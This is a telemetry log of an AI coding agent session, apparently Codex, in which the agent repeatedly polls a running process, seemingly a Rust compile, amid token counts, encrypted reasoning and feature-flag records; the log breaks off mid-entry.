slug=gpt-5.6-sol\n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.661673Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60878 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=60937 ttft_ms=2153 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:33.661Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:33.685Z] [INFO] \n[2026-07-12T04:06:38.769Z] [INFO] 2026-07-12T04:06:38.766721Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c120b4ae-2873-48fb-b543-db82e30b2187 arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5002 success=true output=Chunk ID: 321e43\n[2026-07-12T04:06:38.769Z] [INFO] Wall time: 5.0022 seconds\n[2026-07-12T04:06:38.769Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:38.769Z] [INFO] Original token count: 0\n[2026-07-12T04:06:38.769Z] [INFO] Output:\n[2026-07-12T04:06:38.769Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:38.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.769Z] [INFO] 2026-07-12T04:06:38.766807Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c120b4ae-2873-48fb-b543-db82e30b2187 duration_ms=5002 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:38.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.769Z] [INFO] \n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771621Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:38.775Z] [INFO]  duration_ms=5109 success=true output=Script completed\n[2026-07-12T04:06:38.775Z] [INFO] Wall time 5.1 seconds\n[2026-07-12T04:06:38.775Z] [INFO] Output:\n[2026-07-12T04:06:38.775Z] [INFO] \n[2026-07-12T04:06:38.775Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:38.771Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771659Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX duration_ms=5109 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:38.771Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771743Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5109 total_duration_ms=5109\n[2026-07-12T04:06:38.775Z] [INFO] \n[2026-07-12T04:06:38.942Z] [INFO] 2026-07-12T04:06:38.938696Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:38.942Z] [INFO] \n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.962946Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:38.962Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.963014Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:38.963Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.963031Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:38.969Z] [INFO] \n[2026-07-12T04:06:40.155Z] [INFO] 2026-07-12T04:06:40.151549Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312d022cc8191a0736cf7b85318d4\"), status: Some(\"in_progress\"), call_id: \"call_l8iHCfxZh5PtdTDegPho8X7T\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:40.155Z] [INFO] \n[2026-07-12T04:06:41.179Z] [INFO] 2026-07-12T04:06:41.178574Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:41.179Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:41.179Z] [INFO] \n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193665Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312cf11c481919f07a76a1be38fd3\"\n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193723Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60965 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=61024 ttft_ms=1185 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:41.193Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193745Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60965 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=61024 ttft_ms=1185 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:41.193Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:41.194Z] [INFO] \n[2026-07-12T04:06:46.399Z] [INFO] 2026-07-12T04:06:46.398766Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c75f242a-5f3c-4e22-b50d-a6f33ea7c5fc arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5122 success=true output=Chunk ID: 0bdc9d\n[2026-07-12T04:06:46.399Z] [INFO] Wall time: 5.1227 seconds\n[2026-07-12T04:06:46.399Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:46.399Z] [INFO] Original token count: 0\n[2026-07-12T04:06:46.399Z] [INFO] Output:\n[2026-07-12T04:06:46.399Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:46.398Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.399Z] [INFO] \n[2026-07-12T04:06:46.407Z] [INFO] 2026-07-12T04:06:46.399576Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c75f242a-5f3c-4e22-b50d-a6f33ea7c5fc duration_ms=5122 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:46.399Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.407Z] [INFO] \n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404246Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:46.413Z] [INFO]  duration_ms=5222 success=true output=Script completed\n[2026-07-12T04:06:46.413Z] [INFO] Wall time 5.2 seconds\n[2026-07-12T04:06:46.413Z] [INFO] Output:\n[2026-07-12T04:06:46.413Z] [INFO] \n[2026-07-12T04:06:46.413Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:46.404Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404291Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T duration_ms=5222 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:46.404Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404376Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5222 total_duration_ms=5222\n[2026-07-12T04:06:46.413Z] [INFO] \n[2026-07-12T04:06:46.573Z] [INFO] 2026-07-12T04:06:46.572584Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:46.573Z] [INFO] \n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.580946Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=4 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:46.580Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.581021Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=4 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:46.581Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.581039Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:46.581Z] [INFO] \n[2026-07-12T04:06:48.093Z] [INFO] 2026-07-12T04:06:48.092306Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312d811e08191830b238d48346ab8\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLYw0kIOTRDxCHp7Ok8CxN9VljJTBfXNLG8NIjfegWXlQIn_ud8GonkLxXerlbLomVQ8DktaQLwxp_Jy-25eSTiXChP2_X5-FVIHNNOf_xgNW2nh8kqnT0Rhk8OBoxAQwTB-_pS_M9ZdPpKFX4GoTOWkcKTy0h6InNtO4swhAxMR0owAfBfQCpyOaSc-TA2X1jqsTkuTGSEcOYvuKmubzGfK7NRfVr9Ha5IXoaT_XzyaahX_vTZLrpmvXHpbvOWvHnVkX0SNc93YFMd3w5dcJ28ffUy_p5zcdd47bDxOH9fANt9L68R3ogZFHc8l5QID8hDeFF1XX-F8zT22EvFrUgeRpXE2j-5rIb5d2iXqXLux3dYcHs9EpXSpCT_BMSz0vdFXp5ljx1ycsTgVZBkuiIPh2VB3sqoi1139QdJ50SG_6Wm2NI0dVXxkO_A8WHxKELn8ma0qdSqQkJVa7JSAuX_fRJwujwMofheuu1v7KzlkHY1sF4maqiFfqraBimgjgiP63RwrM3pIiZAWU1uBWK3ofJEAuKRKXT543rGKA8keO-PlWpi3-nIOLn8XpBEKqbW0tdrK5VtMZe6iejAzIriuT3EP0gy2gqHpPio7n6Qj6gim0nwer07CZh6UoWFPIgP8PQeh3KZfF0YuBe9bXnZtJ5KettF5FChd_NWUMP3sUhEhRhkuqcWG_WpHpg_jaVrDcStxyf05vyiqOLghJDaHr0dgUc8LZt6GtQo3c9avKUgDFMJR1Zf2wRyADhiwQEcynV5Ltx5swncoknIUhRD1qvwq_bcIaBmrI0Bl5HzfQHeHykXg77C6stowzcvr6aPRzIex8ok-s56I0wymQDqm2m7pteMLMd08xQgQblMsrV-JndY0SkX7KnWknUn3I3nuyrbjzFUf5e5pTQxy1Ewlg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:48.093Z] [INFO] \n[2026-07-12T04:06:48.791Z] [INFO] 2026-07-12T04:06:48.786583Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312d811e08191830b238d48346ab8\"), summary: [SummaryText { text: \"**Considering Rust script compile duration**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLYbO5tu2kwEHAXAJ-ko78Ey-T9RJX7zzNvD4-957w1OWKGmISg4HJZdJYF8X4n8m3pQdXJ951653yQkFE-ays9i6hRGLhoAYIhe-jabLnKFlYFwuYkS7z1nPgsLg5k0Frlaxep0M88IFPvH3TilJVqxtOSAV8M4I39tfy0hthb4_7nPxLF0Tn9pGIkh-BZp8XjEFsurCI15KiVFwFrkjb_Sz5Ez-mAaMBLE5snGPVquJwy9qdhisen3h8T_TtSqVOC2qyyBS7kNpVaO8561nc2kJXiO-yNvng9k_S3l8Z2allHPbZxt-9lCD0olHM91fFGdoEAGO3EHZlEMTx-fVJEJFMstIaedWu0F5LjVFoXid2wmdOmwoYnl68QKszqfW0J4ILk22e4g8oeNsbxuXhJLSo7A22O2TbsS4ywcywj-3VaiP6PnyzpHY6XA4SOnF2zT1cEdwhim3z44bl-stluUPVvwf-a4Ve0aQBu-cmt-foXm2wbH-KvWrd4adKCTyyMoh6Flayxn5Cc-o0SLq8ESsGKvUCelmRt_qOo4tgrPf0VKGFZgjaaGdVU4wOKpkRURGwARHfJVVv0jvmoECkGaWXvpqAbATNfEdSQ3oBefzZDkVAtA6M4ImgR5t7E7X2EyYKPgNEBRYQtL0_HQlync7NXqsrbj9jr3Sny3obJBnT2hrDZniQ4gOj8XuSOZh2et3Vfi14Q-gaNF69ILvy2SPon9DVWD6-1ihWi1meu9vOYIZejr7vAIuIfe0q4nw4dEI6Khq7bH-MBGiS93NQWL9cupdnA9NVdtu5r1KTS_YCDREc1HQ-2heJJzjf2_dXVKJhmn7rpgpUsUl9qaBJv7N6DEHmqSv8rXv2Mu03JAJffyRmwJhd7ZYNm6NmOmEGhNW5-ikwdQZrpPBwc-60eExdD4VJS-VDEhne-mE8O1cIGYHb4r5C0oeEy-qXVlt-xORE8mPQzolGlVTjETF8w_h-4fgxVV9MQHgXR-K5HhrM=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:48.791Z] [INFO] 2026-07-12T04:06:48.791052Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312d8aef88191b26fe17356d3040f\"), status: Some(\"in_progress\"), call_id: \"call_6usBIjpN0OR1kCMKz4oWJZj1\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) 